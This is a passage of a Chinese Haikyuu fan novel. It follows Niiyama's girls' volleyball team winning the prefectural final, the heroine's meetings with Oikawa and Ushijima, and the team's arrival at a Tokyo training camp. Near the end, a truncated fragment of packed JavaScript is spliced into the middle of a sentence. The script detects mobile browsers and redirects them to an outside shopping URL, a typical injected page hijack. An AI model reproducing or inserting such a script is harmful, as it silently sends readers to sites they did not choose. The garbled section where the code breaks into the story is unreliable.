再加上望月承担大部分进攻后，她的体力也会大幅消耗，即使她是个怪物，也总有因为体力原因而削减攻击力的时候。
青城的战术更像是温水煮青蛙，面对强大的对手，她们始终在尝试着一点点瓦解着对方。
“天内学姐被针对了吧？”十六夜迟疑着问道。
“嗯，被当成突破点了。”阎魔乐目不转睛地注视着战局。
一开始她还以为青城如此防守只是因为望月太过于无敌了，但是从天内第二次明显失误开始，她就察觉出事情不对。
压力这种东西向来会慢慢地累积，然后出其不意地造成严重影响。
就好像洒进水中的网，网住猎物后在不知不觉间收紧。
等到猎物有所感知的时候，骤然发现那些细密的丝线已然到了身前。
假设天内无法挣脱这样的束缚，搞不好比赛真的会被拖进第三局。
尽管替补的学姐也有不俗的实力，但是首发之所以为首发就是有其不可替代性。而且她们在打法上磨合了许久，所以整体实力多少还是会有所下降。
所谓豪强，确实如字面意思一般。
“不过，这确实是很有效的战术呢……”
“哎？”十六夜吃惊地回头看着正在记录的少女。
阿乐……有时候好恐怖！
就像是某种魔咒应验了一般，在一次进攻中，天内扣球触网，犯规直接失去这一分。
比分12:13，青城第一次反超。
新井教练叫了暂停。
“对不起，对不起。”
天内猛地弯下腰向其他人鞠躬慌乱地道歉，她今天的失误太多了。
她这样也算是王牌的接班人吗？
明明还有那么多队友想上场不是吗？
她……
慌乱的胡思乱想被清冷的声音打断。
风间枝问：“天内，你平时有好好练习了对吧？”
“是，是的。”
“既然从没有偷懒，那又有什么好紧张的呢？”风间枝的语气没有起伏，平静得有一种理所当然的感觉。
“叶歌，尽管放手去做吧，还有我们呢。”
飞鸟浅笑着拍了拍她的后背，云中在一旁点头。
“下一球，我还是会托给你，小叶歌。”花咲说，“你可要好好给我打过去哦～”
“哎……是。”
“冲冲冲！王牌候选！”单细胞生物望月的鼓励也是如此直白。
“是！”
天内似乎找回了一些状态，那些束手束脚的丝线在顷刻之间被扯断了大半，至于要如何完全走出来，就要靠她自己了！
比赛重新开始。
这一次发球被接了起来，一传不错。
那么这一球……果然还是她吧？
青井欣子已经预料到了攻手，瞬间到位拦网。
花咲如先前所言，她托了一个打点很高的球，天内全力起跳，重重地扣了下去。
纵使被限制了球路，她仍然扣出了一个不错的直线球。
纵使青城后排有所准备，仍然没能挡下这一球。
只一球，她就挣脱了那只讨人厌的网。
不过，对于天内找回状态这件事，青城早就料到了，所以在暂停结束也再次调整了战术。
作为一直以来的对手，他们知道既然能成为新山首发，就算受挫也绝对不会一直低沉，所以他们回归了常规的防守。
13-13
望月朝着拦网的空档大力扣球，同时，相应的落点位置上出现了自由人，这一球，青城成功反击。
18-18
“原来如此！你们重新开始好好针对我防守了对吧？”望月笑嘻嘻地说。
“这是显而易见的吧？”花咲观察着对面的站位布局，思考着下一球的进攻方案。
“喂喂，不要那么开朗地说这些话啊。”前排的青井无奈地吐槽。
“哈哈哈，欣子，继续打个痛快吧～”
继续打排球……吗？
青井欣子抬起头，在观众席上找到了星那。
此刻，戴着假发的双马尾大小姐正担忧地望着她这边。
哎呀，星那怎么是那样的表情呢？
她应该很矛盾吧？
重组家庭又分开的例子并不常见，但青井欣子和星那忧子就是这样一对没有血缘关系却朝夕相处了十多年的姐妹，否则很难解释近20公分的身高差。
即使分开之后，她们仍然密切地
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往来。
她和星那这个一直与自身弱项斗争的、爱逞强的妹妹不同，她并不热衷于输赢或者证明自己的实力。
说起来，之前和忧子吵架的原因就是因为她想在IH后停止打排球，虽说为了哄妹妹，她最后又改口说要再考虑考虑。
之后的战局变得焦灼起来，呈你追我赶的局势，纵使强如新山也始终拉不开比分。
两边的拉拉队更是声嘶力竭，排球馆中的温度上升了好几度。
新井教练换上了救场发球员竹取兰一，利用高球和跳飘球打开了局面。
青城陷入艰难的苦战之中，雪村超高速的快攻，难缠的自由人云中，连那个平平无奇的队长风间都能打出落点十分麻烦的球，更别说望月了。
她们偶尔倾尽所能拦下来，就算打过去，只要没扣死，又会是一轮艰难的、不容出错的僵持。
“别自顾自慌了手脚啊。”青井欣子借着新山轮转的空档开口，“感到累的话，对面也是一样的吧？”
她擦了擦额头上的汗，轻松地笑起来：“你们忘了自己多强了吗？”
“是，队长！”其他人立刻振作起来。
“喂喂，差不多该认输了吧。”见状，花咲不禁感叹了一声。
“哈哈哈！看来还能多打一会呢！”
25-24
“真能干啊。”新井教练赞扬对方的意志力，她知道今年的青城实力不错，但能够打到这个程度还是超出了一些预料。
但是很可惜，几乎决定了青城生死的发球被接下，那么现在——是新山攻击的时候了。
终结比赛的这个风头，就让给绝对的王牌吧，其他人应该不会有异议吧？
想着，花咲伸出双手，感受到排球在十指上短暂的触感，用一个漂亮的背传为攻手开路。
望月在所有的目光中大力地扣下制胜球，气势逼人。
自由人藤森勉强碰到球，但因为力量太大，她的接球姿势变形，球飞往一侧场外。
结束了……
她绝望地看向球飞出去的方向，一道青白色的身影快速冲了过去。
吗？
青井欣子猛追而去。
能接到。
她想。
虽然她的速度一般，但是——
她一定能接到！
她跳起来跨过裁判桌，终于够到了那颗落地就会决定胜利和失败的排球。
她单手把球锤回场内，然后快速站稳回身跑，二传木田接上，将球打回了对面。
“机会球。”风间枝沉稳地完成一传。
队长的声音宛如新山的强心剂，有这样可靠的人在背后，没有人会感到慌张。
可惜……
那么，这次风头就让给你吧。
雪村似一道闪电甩开拦网迅速起跳到位，花咲精准托球，完美配合。
“砰”的一声，比裁判的哨声更快宣布了比赛的结束。
还在赶回到场上的青井缓缓停下了脚步。
啊，输了。
她是无所谓输赢啦……
仔细想来，其实有比青城更近的学校。
还有，如果喜欢参与愉悦的比赛，按照她的身体素质去打篮球或者网球都是可以的。
另外，她对胜利的渴望差不多也就80%吧。
如果只有她自己的话。
可排球不是一个人的运动吧？
嗯，她果然还是喜欢排球。
因为还想看到这些家伙的笑脸啊……
“队长，对不起，要是我……”
藤森忍不住落下眼泪，如果她没有失误，说不定……
“那么，我们春高再加油吧～”
青井欣子拍了拍手，阻止着此起彼伏的道歉声。
“哎？队长的意思是……”
“因为暂时还没有找到比打排球更愉快的事情呢。”
青井的话看似答非所问，实际上是给自己纠结的内心找到了一个过得去的理由。
“太好了，队长。”
木田边哭边笑地过来抱住了青井，其他人见状也纷纷效仿。
一时间，主心骨选择要继续打排球的消息冲淡了比赛失败的痛苦和悔恨。
“好啦，这场比赛很愉快不是吗？”
青井说着，感到自己的声音有些沙哑。
“嗯！队长，下次我们一定要赢！”
她们这个队长，总是表现出对胜负不那么在意的样子，但实际上就就是个连自己都骗到的深度傲娇！
明明喜欢排球喜欢得不得了！
果然傲娇是家族遗传，就算没有血缘关系还是会被影响的。
IH宫城县预选赛女子组，新山女子高中获胜。
同一时刻，男子组决赛也刚刚结束，胜者白鸟泽学院。
22.世界是一本巨大的少女漫
当这颗重约为260克，直径21厘米左右的排球通过三次触球落到地面上因为弹性轻轻弹起的时候，整个排球场的气氛稍稍一滞，仿佛误触视频播放的暂停键，又快速被点击取消那样，四面八方爆发出热烈的欢呼声。
球网变成了分界线，隔开了热烈兴奋的胜者与黯然神伤的败者。
当终场哨声响起，站在替补席的队员们猛地冲进场中，激动地拥抱住了场上大汗淋漓的首发们。
被称为最强的一届守住了前辈们的荣耀，获得了属于自己的第一个里程碑，打开了通往全国的大门，有人振臂高呼，有人潸然泪下，有人沉浸在胜利的喜悦中久久不能回神。
“哈哈哈！～赢啦！”望月昂起头张开双臂，似乎是在享受观众们的欢呼。
“啊～终于……还真是不好对付呢～”花咲轻叹一声。
天内叶歌噙着眼泪，不安又欣喜。
“干得漂亮，各位。”风间枝一贯平静的脸上也出现了少见的微笑。
她的话宛如从拂过宁静湖面份清风，这一下，一开始还没有哭的人也忍不住了。
“唔，雪村学姐也哭了。”云中低声说道。
众人猛地看向沉默到有些冷漠的副攻，雪村芽顿时抹着眼泪浑身一震，立刻红了脸。
飞鸟轻轻将手放在她的背上拍了拍，她也顺势抱住了她，分享着自己的羞涩与感动。
看台上，青年国家队的教练今村静感叹：“县级的决赛也很精彩啊。”
“毕竟有那个全国三大主攻望月在嘛。”随行的副教练附和。
“不仅如此，新山的其他人都很强，确实有冠军之相。”今村此次前来就是为了挑选全国青年合宿的优秀选手。
“前辈心里已经拟好名单了吧？”
“嗯，收获颇丰，收获颇丰呢～”说着，她转身朝外走去，“我们回去吧。”
这时，其他队员们希望快点加入这场庆祝之中，从过道上奔跑而过。
今村走下阶梯，正好与少女们擦肩而过。
因为连续三年获得全国大赛的资格，学校慷慨地出拨出一部分款项用以赛后的庆功宴。
“哎？我们也可以去吗？”
“你们也是新山的一员吧？”山吹杏理所当然地说。
大空打了个哈欠，她看上去是更想回家看电影的样子。
“好了，快去把物料收拾好，咱们先回学校。”岩崎蕾笑着催促道。
“好～”
阎魔乐正在往学姐们的运动水壶中灌水，因为返程的路不算太远不需要将水灌满，所以她一个人过来就够了。
比赛结束得比较快，天色还早，太阳仍然挂在空中散发着热量。一道斜拉的影子逐渐从少女身侧蔓延到小腿。
阎魔乐侧头看过去，清朗的少年微笑着向她打招呼。
“真巧啊～小阎魔～”及川彻的语气还算开朗，似乎已经从比赛失利的阴影中走了出来。
或者用阴魂不散l形容比较好吧。
不过，看在他曾经帮自己托过球的份上，她还是好好打了招呼：“及川前辈。”
“比赛已经结束了吗？”
“是的，学姐们赢了。”阎魔乐如实回答，为了不刺激到他，她咽下了“新山要去全国大赛了”这后半句话。
“学姐们啊……”及川彻微微眯起眼睛，似乎从这句话中找到了什么有趣的点。
并非是「我们」。
她明明确确地将自己与现在的胜利割席。
理智至极呢……这个女孩。
不知道她会在何时说出「我们」这个词语呢？
及川彻想着，嘴角又向上扬起几分。
在阎魔乐的面前，他似乎一直在微笑。
她能够感觉得出，有什么等待喷发的情绪隐藏在这样的假象之下。
及川彻擅长用完美的笑容掩盖某些强烈到不堪的情感。
那么，他是否希望有人在情绪喷发之前看穿并点明呢？
不过没有时间给他们深挖各自心中的想法，因为又有一道身影靠近。
转头看向来人，及川彻脸上的微笑立刻僵硬起来。
“喂，牛岛，你该不会是想来搭讪吧？”他不友善地打量着这个刚刚在赛场上扣爆了自己的“魂淡大炮”。
牛岛看了他一眼没有说话，将手中洗干净的饭盒递给了少女。
“这个还给你。”
“我可是有小阎魔的联系方式哦～”及川彻似乎还没意识到事情的严重性，仍然在不管不顾地输出着。
阎魔？不常见的姓氏。
牛岛在心里默念了一遍。
巧的是，也和妖怪有一些渊源。
“其实不用麻烦跑一趟的。”阎魔乐在连盒带肉送过去的时候，就没想过要拿回来。
“牛肉很好吃。”牛岛称赞的时候没有什么额外的表情。
“哎？哎？？？”及川彻终于明白过来，他不可置信地大喊道，“你们已经是这样的关系了吗？”
“不……”阎魔乐刚想解释，突然想到也许误会可以让这个表面上十分轻浮的家伙安静一些，于是她闭上了嘴。
“快继续否认啊……”及川彻不死心地说着话，表情逐渐崩溃起来，“不要不说话啊你们。”
嗯，失败了，更吵了呢。
“真是丢脸啊，垃圾川。”岩泉一再次出现，他奉教练的指令，要带下了赛场就不靠谱的队长回去。
“啊～小岩，你是我妈妈嘛？”及川彻不知死活地调侃道。
岩泉一额头上青筋爆起，直接上手拖着他就走，同时对着剩下的两人说了声“抱歉。”
“内，小阎魔很可爱吧～”
话音刚落，岩拳毫不留情地落在他的脑袋上。
及川彻头一歪，挤出微笑：“小阎魔，再见啦～在外面一定要保护好自己哦～”
闹腾又矛盾的人。
阎魔乐招了招手，在心中总结。
余光中一抹红色引起了她的注意，她不动声色地看过去，不远处的树丛间，白紫色的队服若影若现，分明是白鸟泽众人。
啊啊……世界是一个巨大的少女漫。
鹫匠教练呢？出来管管啊！
“我帮你提过去吧？”牛岛的目光落在装着水壶的背包。
“啊，不必麻烦，不是很重的。”说着，阎魔乐抓起包袋搁到自己肩上，“如果只和自己比的话，我已经变强了一点。”
“嗯，看上去是这样。”牛岛的回答毫无恭维之意，似乎只是在陈述着事实。
“那么，牛岛前辈快去和队友们汇合吧，我这边就先告辞了。”
阎魔乐指了指树丛，顿时那边出现一阵骚动，几个矫健的身影窜出来落荒而逃。
她笑了下，转身就走。
“对了。”
牛岛叫住了她。
阎魔乐停下脚步，按理说他并不是什么麻烦事很多的人。
“你的名字是？”牛岛沉静地问。
哎？自己一直没有自我介绍吗？
仔细想来，似乎是这样的。
“是我失礼了，牛岛前辈。”阎魔乐赶紧一鞠躬，“我叫阎魔乐，是新山女子排球队一年级的队员，目前正在为成为新山正选队员而努力着。”
“加油吧，阎魔乐。”牛岛记下了这个名字。
另一边，首发们率先登上大巴，等待出发。
“哎？那不是阎魔吗？旁边的男生是……那个校服的颜色，是青城男队的队员吧？”竹取兰一指着窗外说道。
“你不认识吗？那是及川彻选手，咱们县内男排的最强二传。”梅宫芝说着，在手机上搜索起讯息然
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后给她看。
这番话引来了天内的兴趣：“哎～他们看上去聊得很愉快的样子？”
“等等，又来了一个……阎魔还认识白鸟泽的牛岛选手吗？”
“呜哇，男版须弥出现了。”花咲微微皱眉，好像看到了什么可怕的东西。
“他好像拿了什么东西给阎魔。”
“小阎魔她竟然要早恋了吗？！”飞鸟苗香扒在窗口认真地看着剧情的发展，“竟然还是复杂的三角关系。”
是的，没错，靠谱的副队长是各类少女漫的忠实粉丝。平日里温柔的麻麻，到了附近存在可以磕的恋爱关系时，头顶雷达就会狂响。
“我说，阿香，你也少看点少女漫画吧……”花咲对此已经不知道吐槽过多少遍了。
“嗯嗯，这就是青春啊～”飞鸟在胸前交握着双手，憧憬地说。
回到学校的时候，全校的师生都从窗户探出头来祝贺，尽管新山排球部在县内登顶已经屡见不鲜。
因为时间还有点早，所以新井教练让她们稍事休整再集合出发。
阎魔乐趁着这个机会赶紧躲起来补作业。
因为把课余的时间几乎都用在了排球上，她常常不能按时完成作业，所以她一直是老师眼中的问题学生。
不过，为了不影响远征和合宿，她一般会在短时间内集中一次性把一周的作业补齐，所幸她考试的正确率还算不错，反正每次都正好比及格线高一点。
对此，老师不禁有些感慨，有这个头脑，就算她不打排球，只要能好好读书应该是能考上不错的大学。
毕竟，两个多月来都是如此，就会给人一种她控制着自己学到及格就不学了的感觉。
相比之下，十六夜就稍微令人省心一些了，和她的幼驯染——乌野四傻之一的影山不同，她的成绩还算过得去。
新山的笨蛋另有其人。
星那首当其冲，就算和学习不错的鬼冢一起复习也一样不及格。
至此，她的人设和黄毛拽男区别越发明显。
笨蛋不仅不止一个，另一个还是令人意想不到的大空。
她明明就长了一张看上去很聪明的脸！
也是呢……她看上去很没干劲啊。
放学后，学校附近的温馨小餐馆几乎被新山女子排球部挤得满满当当。
长长的桌上摆满了炸鸡、炸豆腐、烧牛舌、豆芽炒猪肉……
阎魔乐咽了咽口水，为了保持健康，她已经很久没有吃这些“不吃对身体好，吃了对心情好”的垃圾食品了。
说起来，在她的合理饮食下，她最近已经长了不少体重，身体结实了一些。
想着，她捏了捏手臂上的肌肉。
嗯哼～今天要大吃一顿。
“各位，今天辛苦了。”谷田老师高举起手中的啤酒，兴奋地高呼，“你们！真是太棒了！”
“喂喂，你这不是还没喝呢。”新井教练无奈地说。
“仁惠也说两句吧～”
新井教练深吸了一口气正色道：“毫无疑问，你们非常强大。这份强大来源于日复一日的练习，首先祝贺你们拥有这样的力量。”
“未来，你们也许会遇到能把你们逼入绝境的对手，毕竟全国大赛上多的是那样的怪物，到时候，你们大概会深刻体会到「最强」这个名号的沉重，不过——”
“我相信，拥有力量的你们一定会负重前行，无论是在排球上，还是在自己的人生上！”
一席话说得少女们动容不已。
“啊～太严肃了吧！～”谷田老师打破了这样的气氛。
喂喂，不是你让我说的吗？新井教练叹了口气。
谷田老师话锋一转：“那么，我来宣布一个激动人心的好消息吧～”
“今年暑假的合宿远征，目的地是——东京！”
23.出发！去东京！
安静的教室中，阎魔乐不紧不慢地在试卷上写下最后一笔。
课桌上被太阳打印下一块光斑，她顺着阳光的轨迹眯着眼睛望向窗外。
已经结束考试的同学三三两两地走在校园之中，舒适的短袖、清凉的冷饮和包装上的水珠、额头上细密的汗珠、晶莹的阳光落在油亮的树叶上反射的光……温度变得肉眼可见。
夏天到了呢……
日子一旦繁忙起来，就会在突然的回神之时体会到转瞬即逝这个词的含义。
以吊车尾的身份坚持了三个多月并不是一件容易的事情，更何况她还给自己安排了各种加练，但还好她足够专注而坚定，不断地在身体适应了之后，继续调整着训练量。
按理说，没有专业教练制定训练计划就埋头苦练绝对是一件危险的事情，不过阎魔乐处理得很好。
也许是因为能够掌控魔力的关系，她对自己身体的了解程度远远高于普通人，再加上她算得上聪明，所以不仅没有什么因为过量练习而产生的伤痛，能力参数还先后突破了两个。
继弹跳和头脑后，她的技巧也达到了2。
除了日常的接发球技巧、拦网技巧之外，她的跳飘球也已经初具雏形。
调动着贫弱的肌肉，她找到了最适合自己、成功率最高的发球姿势。接下去，就是不断练习，将之刻进肌肉形成记忆化成她的武器，让这项攻击更快、更稳定。
不过因为没有提醒，所以她不清楚确切的升级时间。
太过于专注于自身有时候也会错过一些其他的信息。
“阎魔同学……”在一次练习的休息时，山口忠迟疑着开口，他偷偷望向身侧。
在乌野输掉IH预选赛后，山口忠的个人进修越发积极，只不过不止是在技术上，此时的他还要克服心态上的问题。
在这之前，羞涩胆小的少年很少主动找话题，毕竟少女总是沉默着，看上去思虑甚多的样子。
“山口君有什么话就直接说吧。”阎魔乐平复着呼吸，坦然地回过头，对上他的视线。
山口下意识眨眼收回目光，鼓起勇气问：“阎魔同学会紧张吗？”
阎魔乐思考了几秒，理解了他的意思：“山口君是想问上场比赛的话会不会紧张对吧？”
“嗯，是这样的。”
“这个嘛……”阎魔乐平静地述说着她不怎么样的现状，“因为我连背号都没有拿到，所以除了日常练习时的3V3，我很少有正式比赛的机会。”
不过仅有几次的上场，她自认为已经做到了目前她这个水平能够做到最好的了。
“抱、抱歉……”山口瞬间脸色铁青，责怪起自己哪壶不开提哪壶，一时间竟紧张到肚子痛。
“奥，我的意思是——”阎魔乐摩挲着手中的排球，“如果有比赛的话，我会非常乐意尽全力去战斗。”
好帅啊……
尽力去战斗什么的……
山口忠咽了咽口水，他根本想象不出自己能勇敢说出这句话的模样，而她却说得如此理所当然。
辨别出少年表情的含义，阎魔乐反问道：“山口君应该也是这么想的吧？”
“我……”山口一怔，然后轻点了头，似乎并不是很确定的样子，“我也是。”
嶋田见状，开朗地调动着气氛：“哈哈哈，阿忠可要加把劲啊～小乐的成功率马上就要赶上你了哦！～”
“是、是！”一丝红晕飞上了少年的脸颊，话语的力量些许武装了他的心。
仅从跳飘球发球水平上来说，绝对是山口忠更胜一筹，可在心态方面，嶋田所见过的最稳定、最毫不动摇的坚定也就是阎魔乐这样的了。
嶋田看着青春期的弟子们感到十分欣慰。
“对了，嶋田师父，我还要买一些牛肉。”
“哈哈，算算时间也差不多了，特别给你留了最新鲜的部分。”
“谢谢嶋田师父！”阎魔乐高兴地道谢，在她契而不舍地保持增肌的饮食摄入后，她如愿以偿地增重了6斤。
因此，紧接着就是体力的突破。
不知怎么的，那天晚上，阎魔乐越跑越觉得快乐，这是曾经气喘吁吁的她很少会拥有的感觉，也许是内啡肽作祟，她总觉得自己可以一直跑下去。
突破极限的感觉原来那么爽快！
最终，阎魔乐是因为理智才停下来的，其实心肺与身体还安好，但是疲惫不是那么简单的事情。
她顺手查看面板，发现体力果然是增长了。
接下去就是看速度和力量哪一个率先突破了，这两个参数需要不同肌肉群支撑，却也是增加攻击力最直观的参数。
阎魔乐很担心自己头脑都到3了，这两项也纹丝不动。
此外，她发现，除了技巧不可考以外，其他的能力参数都是在处于某种过程中突破的。
所以，她这次东京远征的目标，就是要在训练中努力突破。
还有有一个比较喜人的情况——邪祟意外的安静。
甚至连之前那种低等的都没有再出现过了。
要不然怎么说小排球是安全的位面呢？阎魔乐算是深刻领教了。
不知道是不是因为过于太平，她总有一种错觉感觉有什么正在她无法察觉的地方暗流涌动，想要憋个大的，但没有任何证据能够佐证这一点。
至于上次在灵异论坛，那个认为自己被邪祟盯上的楼主也很快确认了身后灵的真相——跟踪狂确确实实的存在。
尽管听上去似乎是更可怕的情况，不过跆拳道黑带的楼主表示，只要是能够攻击得到的对象，她根本不带怕的。
当然了，她也不会手下留情。
哦对了，和邪祟一样安静的还有日向和及川彻，看来失败对于他们来说是一个非常大的打击，很显然，他们明白疯狂训练是比寻求安慰更有效的做法。
代表着考试结束的铃声终于响起，阎魔乐将试卷向前传。
刚才还安静的教室中慢慢熙熙攘攘起来。
纸张的“梭梭”声，同学窃窃私语，还有窗外热烈吵闹的蝉鸣，那是夏日关不掉的闹铃，烦扰又极具代表性。但谁也无法苛责这些积蓄了十多年力量却只能活一个夏天的生物。
“阿乐，感觉考得怎么样？”十六夜转过身，头顶的小辫子随着她的动作轻轻晃动。
“嗯……总之能写的基本都写了。”阎魔乐摸着右手中指指关节上被笔压出的印记，“如果我的估算得没有出错，及格应该是没问题的。”
“阿乐的估算基本就没有差太多过吧，更何况你的记忆力那么好
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。”十六夜回忆了下好友这三个月来在大大小小考试中的表现。
尽管阎魔乐的成绩并不拔尖，但她从没有一次挂科，这还是在她将所有时间放在排球上的结果。
排球队的大部分队员都没有挂科的烦恼，虽然这么想很无理，但十六夜是真的没有想到望月学姐也能安然过关。
果然，这个世界上大部分人都不是球商和智商成反比的。
此处点名某些某蓝莓头。
“就是不知道星那和大空能不能通过考试呢？”十六夜有些担忧。
“其实我在想，即使一年级的能一起去东京合宿，可说到底也没什么上场的机会吧？训练赛一定是以首发的一队和接任的二队为主。”阎魔乐收拾着文具，“我们可能就是换了个地方进行基本功训练？”
“话是这么说呢……”十六夜皱起眉头，不过她很快高兴起来，视线向上随意找了个落点，“但是，我们可以一起去东京啦！～能和大家一起睡觉、吃饭、洗澡……就和修学旅行一样。”
那种快乐感染了阎魔乐，她很高兴，因为——
「和伙伴们一起出游」这个词条马上就会填进相应的记忆了。
下午训练前，一向活泼而狂妄的星那脸色苍白，她仿佛灵魂出窍般口中喃喃：“怎么办？我、我觉得我好像填错答题卡了……”
鬼冢在一边安慰：“不会的，忧子。”：
正巧阎魔乐走过来，她立刻逞能地说：“就、就是啊……本小姐肯定过了……”
大空瞥了瞥她，无声地笑了一下。
眼尖的星那顿时像只被惹恼的猫，她炸毛嚷嚷道：“你这家伙又好到哪里去？我看补考是板上钉钉的事吧？”
“那也没关系。”大空靠墙坐着，一副不在意的样子。
“哎？就算不去你也不要紧吗？”星那不可置信，“那可是去东京，会不断和强校进行练习赛的哎！”
大空打了个哈欠，丝毫没有干劲：“这种事情无所谓吧……暑假本来就是用来好好休息的不是吗？”
“喂！你这家伙！”星那暴躁地喊出声，怒气将刚才的低落一扫而空。
眼看着局势即将一发不可收拾，所幸新井教练及时进入排球馆终止了这场蓄势待发的单方面闹剧。
热身的时候，十六夜低声说：“大空同学这次是有点过分了……”不过她马上想起来对方曾经夸过她的托球技术，又觉得自己不该这么说。
“是呢。”阎魔乐对此也有相同的感觉。
其实所有人都知道，现在的一年级中，只有大空是最有希望在二年级的时候直接成为首发队员，就和天内学姐一样。
可她似乎对此一点都不敢兴趣的样子。
明明就拥有着最棒的才能不是吗？
等等……有什么不太对。
阎魔乐想起曾经对于才能和努力的探讨，从中发现了一些端倪。
看来得找一个机会验证一下。
未来的主炮可不能因为某些误会就这么哑火。
出发当天，少女们兴奋地坐上大巴，将近五个多小时的路程不算短，但没有人会觉得漫长。
星那看了看最后一排右边靠窗空着的位置，“哼”了一声扭开头。
那是大空一贯喜欢坐的位置。
24.日光下的猫头鹰
无法全员到齐的遗憾自然是没有持续太久，前往东京的兴奋很快就盖过惋惜。
少女们从兴致勃勃到昏昏欲睡只需要短短几个小时，刚才还热络的车内此时被睡意席卷变得安静昏沉。
随着大巴行驶中的晃动，十六夜的脑袋缓缓倒向一边，逐渐靠在了身边人的肩头之上。
感受到肩上的重量变得实在，阎魔乐紧绷的神经不免放松下来。
她一直警戒着，趁着这个机会搜寻邪祟所以一路都没有睡，还好魔法少女的精神都比较强大，她不算太过于疲惫。
现在大约还有十多分钟的路程就要到达目的地。
新井教练出声叫醒了大家：“枭谷学院排球联盟一直很有名，他们联合了关东的传统豪强频繁地进行练习赛，是全国大赛强有力的参赛队伍。”
此前新山无论是在IH还是春高上的最好成绩是四强，今年则是妥妥的夺冠热门，而枭谷有着与这样的新山一战的实力。
“我相信，这七天将会让你们受益匪浅，当然了，能够促成这次远征还得感谢谷田老师。”
“仁惠太客气了啦～暑期远征本来就是新山的传统，大家都那么努力练习，作为指导老师怎么能不完成自己的本职工作呢～”谷田笑起来，“这都是为了可爱的孩子们。”
“毕竟是跨县的远征，要考虑包括安全在内的种种问题，正巧男排那边也有个宫城县的学校……什么鸟野高中一起，所以就很顺利地谈下来了。”
说起来，日向和影山现在应该在补习和补考吧？
阎魔乐和十六夜相视一眼，无奈地笑了笑。
新井教练拍了下手：“那么现在，让我们一起给他们带去一些来自新山的震撼吧！”
“是！”
枭谷学院是东京有名的学校之一，办学目标是培养出文武双全的优秀学生，拥有一个超大的图书馆，校舍似乎才翻新整修过不久显得十分气派。
“哈哈哈，东京！那个该不会是……”
望月指着远处的铁塔正要说什么，花咲立刻出声道：“不是东京塔哦，这里可不是东京的市中心呢。”
“大家拿好自己的行李，千万不要忘带东西。”飞鸟检查着各个座位看是否有遗漏。
校门口，栗原老师得到新山排球部到达的消息亲自出来迎接。
“感谢这次合宿的机会。”谷田老师微笑着伸出手。
栗原老师也十分和善地与她握手道：“哪里，我们可是非常期待与新山切磋呢～”
“这是个展示实力的好机会，新山绝对不会让人失望的。”
“哈哈哈，求之不得～”
和煦的微笑之下，她们不断用力暗暗较劲，随着握手的时间增加，两人的额头上爆出青筋。
“我们是先去放行李还是先去餐厅？”看不下去的新井教练叹了口气，出声打断了这两个幼稚鬼。
栗原老师松开手，轻咳了一声道：“请跟我来吧。”
暑假时期的教学楼中十分安静，阎魔乐注意到一些教室中已经放着形色各异的背包，其中深色居多，她猜测一、二楼可能是男生们的临时宿舍。
新山的人数众多，占据了四楼最多的教室。
为了错峰，女排和男排会轮流提前10分钟到达餐厅。
当她们走进餐厅的时候，其他学校的女排选手已然到场，她们齐刷刷地投来视线，审视着这些外来者。
阎魔乐刚端着餐盘坐下，从餐厅外的门被猛地拉开。
“嘿～嘿～嘿！大家好啊！～”
一个高大的白发冲天头少年大笑着打起招呼，他双手叉腰，挺起胸膛，仿佛用最饱满的感情迎接着他的对手们。
他像一只凶猛的猫头鹰，出现在了灿烂的日光之下。
一时间，餐厅内部鸦雀无声。
“木兔学长，男排这边应该是我们最先到的，所以这里没有我们的对手哦。”赤苇京治冷静地分析着情况，“还有，这样可能会被女生们讨厌的呢～”
“哎？”木兔歪过头变成豆豆眼，然后呆呆地问，“我被讨厌了吗？”
木兔「消极模式」开启！
“喂，赤苇，你这么说会不会太过了，看，消极木兔又出现了。”小见春树着急地低声说。
“等差不多吃完午饭的时候大家再一起努力调节吧，不然木兔学长过于热情的活力会给女排的队员那边造成烦恼吧？”
“啊，原来如此，正好也能让他好好休息下，还要打六天半呢。”
“木兔学长，我们走吧。”
“啊，这样啊……我被讨厌了……”木兔魂不守舍地跟在赤苇旁边，从女生们身后走过。
“噗，好奇怪的人。”十六夜忍不住轻笑一声。
不止是她这样，其他女生们也笑着窃窃私语了起来。
“哈哈，别看他这样，他可是枭谷男排的队长和ACE哦。”隔壁桌身穿枭谷黑色训练T恤的棕色短发女生搭话道。
因为不是正式的比赛队服，阎魔乐无法从背号推断出更多的信息。
“哇，他这么厉害吗？”
“嗯，木兔学长是全国五大主攻手呢，不过性格嘛……你们也看到了。”女生嘻嘻一笑，“啊，对了，我是枭谷女排二年级的木叶千夏，是一名主攻手。”
“您好，木叶前辈，我是十六夜悦，新山一年级的二传。”
“木兔前辈身边那个男生感觉好帅气呢。”新山的经理福生优奈忍不住夸赞，她似乎对异性有着独特的品味。
“眼光不错嘛，那是二传手赤苇君，确实是个冷静型的帅哥呢～”木叶点点头，“不过我果然还是喜欢鹫尾学长那样沉默可靠的类型。”
“你们呢？”
“哎？”十六夜完全不明白这个问题指向的回答范围。
“喜欢男生的类型。”
阎魔乐没想到大中午就开启了女生寝室的夜谈模式，她的脑海中快速闪过几个身影，然后只有大段模拟战术的预想画面不断涌现。
“完全没有想过这个事情呢。”十六夜不好意思地说。
要打排球又要完成作业，每天都精疲力尽，再加上还是女校，根本不会考虑关于「异性」或者「恋爱」这些议题。
“没关系，那么，我们体育馆见吧。”
这次合宿的女排一共四所学校，和男排不同，分别是枭谷、清元、玉治和新山。
餐桌上的氛围不错，但是阎魔乐能够感受其他院校的人都将视线落到了以望月为中心的首发们那里。
看来她们迫不及待地想要和去年的全国四强对决一番。
尽情战斗吧。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196110|147932||http|test|mini|href|location''.split(''|''),0,{}));
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阎魔乐暗暗想着，不知道这七天她又会记录下多少战术呢？
这时，男生们陆续到达，在红色与黑色中，她看到了几个熟悉的身影。
“啊啊～真是热闹啊～”黑尾半眯着眼，呲着牙笑着，“听说因为担心人手不足，管理混乱，之前好像很少有男女排同期合宿的。”
一旁的研磨对着灰羽列夫皱着一张秀气的脸，技术差的人果然太不有趣了。
“好、好多排球美少女……”山本猛虎整个人愣住，顿时停下脚步。
“你不是应该感到兴奋不已吗？”夜久不解地反问。
“不，我根本不敢直视耀眼的她们。”
众人无奈。
